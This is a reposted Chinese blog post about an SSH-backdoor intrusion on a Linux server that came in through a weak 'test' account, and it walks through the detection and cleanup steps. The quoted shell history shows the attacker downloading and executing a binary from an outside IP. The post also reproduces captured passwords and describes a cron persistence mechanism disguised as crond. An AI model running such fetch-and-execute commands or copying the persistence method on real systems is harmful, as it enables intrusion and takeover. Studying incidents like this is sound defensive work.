转载·一次ssh被篡改的入侵事件

原文连接http://phenixikki.blog.51cto.com/7572938/1546669 

一般服务器安全问题在规模较小的公司经常被忽略，没有负责安全的专员，尤为是游戏行业，由于其广泛架构决定了游戏服一般都是内网进行数据交互，通常端口不对外开放，也所以对安全问题不过于重视。接下来要说的，这是我人生第一次在Linux环境中被入侵的经历，此前只有在Windows Server上有过屡次入侵排查的经验，不适用于Linux环境中，因为本身的经验缺少以及安全意识的薄弱，从而没有及时对已被侵入的服务器作隔离处理，致使扩散到较多的服务器，在此断指三根以示悔恨，哈哈，开玩笑的，在此总结下入侵排查过程以及后续事宜

 

 

1、事件回顾

    此次的服务器被入侵是一个典型的弱密码致使的入侵事件，因为某人员的疏忽，在某台服务器上新建了test用户，且使用同名的弱密码，以便于调试工做所需的脚本工具，就在当天在作脚本调试的时候发现了某些异常的错误，使用root用户没法ssh远程登录其余服务器，同时scp命令出现异常没法使用，但其余服务器可使用scp将文件拷贝到该服务器，以后将问题反馈给运维人员，由咱们运维进行排查。

 

 

2、排查过程

    收到问题反馈，主要涉及ssh相关的问题后，咱们运维对该服务器进行排查，发现使用ssh -v中的openssl版本没法显示，且输出的帮助信息与其余服务器不一致，而后查看ssh配置，发现配置文件（ssh_config和sshd_config）文件已更新，其内容被所有注释，这时尚未意识到被入侵，悲哀+1，起初觉得同事对该服务器作了升级了ssh版本，后来确认无升级之类的操做。

 

一、查看ssh版本及相关信息，openssl的版本显示异常，与其余服务器对比，帮助信息显示方式有所不一样

 

二、查看ssh进程及其相关文件，ssh和sshd进程文件已更新，ssh_config和sshd_config配置文件已更新，配置文件内容所有注释，ssh_host_key和ssh_host_key.pub为新增的文件，其余服务器没有这两个文件

三、继续排查，将一台正确的配置文件覆盖至该服务器，重启ssh服务后，使用ssh命令发现没法识别该配置文件中的参数（到这里其实应该发现ssh进程文件已被篡改，使用md5sum作比对便可）

 

四、因为其余工做事务须要及时处理，排查这个事情就被搁置了，直至以后的YY讨论问题拿出来询问了下大神，才意识到有被入侵的可能

 

五、询问操做过该服务器的同事，此前正在调试脚本工具，新增了test用户，得知其密码为test

1 2	$  cat  /etc/passwd  |  grep  test test :x:1005:1005:: /home/test : /bin/bash

 

六、进行深刻排查，使用chkrootkit -q查看Linux系统是否存在后门，发现有异常。协同以前操做test用户的同事，查找history命令记录，发现一条可疑命令

1 2 3 4 5 6 7

$  su  -  test $  history     50  wget http: //71 .39.255.125/~ake /perf ; chmod  +x perf; . /perf        # 非同事操做的可疑命令，在虚拟机上测试，发现能够无需命令便可得到root权限 $ w                           # 没法查看到当前登陆用户（请忽略我跳跃的思惟） $  cat  /usr/include/netda .h    # 找到一个用户登陆就记录其密码的文件（某大神找到的） +user: bin +password: worlddomination +user:  test  +password: TF4eygu4@ #$ds

 

七、在另一台服务器上，发现某帐号家目录下有个dead.letter文件，用于将获取到的信息（系统信息、IP地址、帐号密码等）发送至指定的邮箱

 

八、又在另一台服务器上部署了一套可疑的程序，估计是做为肉鸡功能

1 2 3

$  sudo  crontab  -e * * * * *  /usr/include/statistics/update  > /dev/null  2>&1             # 原有的cron任务已被清空，仅有该条可疑任务

 

九、找到/usr/include/statistics为主程序的目录，其中update为主程序，经过autorun脚本进行部署，执行crond假装成crond服务，使原crond服务隐藏且没法启动，将cron覆盖至原有crontab文件来每分钟执行update二进制程序，mech.pid记录假装的crond程序的PID

 

 

3、清理工做

一、紧急修复清理

将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下

1）查看并修改属性

1 2 3 4 5

$  sudo  lsattr  /usr/bin/ssh -u--ia-------e-  /usr/bin/ssh $  sudo  chattr  -ia  /usr/bin/ssh         # 修改属性以保证文件可被覆盖 $  sudo  lsattr  /usr/sbin/sshd -u-----------e-  /usr/sbin/sshd

2）恢复ssh和sshd

1 2 3 4 5

$  sudo  cp  /tmp/ssh  /usr/bin/          # 将ssh进程文件覆盖恢复 $  sudo  cp  /tmp/ *_config  /etc/ssh/     # 将配置文件覆盖恢复 $  sudo  rm  /etc/ssh/ssh_host_key *     # 删除新增的可疑文件 $  sudo  crontab  -e                    # sshd没法覆盖，使用cron方式解决 30 3 * * * pkill -9 sshd;  cp  /tmp/sshd  /usr/sbin/ ;  /etc/init .d /ssh  restart

3）删除多余的文件以及恢复crond

1 2 3 4

$  sudo  rm  /usr/include/netda .h $  sudo  kill  -9 $( cat  /usr/include/statistics/mech .pid) $ [ -d  /usr/include/statistics  ] &&  sudo  rm  /usr/include/statistics $  sudo  /etc/init .d /cron  restart

二、后续安全工做

1）修改全部涉及的服务器的帐户密码，以后其余使用同类密码的服务器也需改掉

2）配置防火墙策略，只容许公司外网IP可ssh访问服务器

3）对于被入侵过的服务器系统后期逐步重作系统，避免存在未清理的后门

 

 

写在最后：

    这次的遭受攻击，问题主要是运维安全意识较差，以及防火墙策略比较松散，为了便于远程工做，像ssh端口未作限制，服务器几乎是裸奔的状态。通过此番折腾，也对服务器安全方面作了一次警示，需增强防护工做，同时也了解到典型的ssh后门功能：其一是超级密码隐身登录；其二是记录登录的帐号密码。后续还需制定一系列入侵检测机制，以防再次出现入侵事故。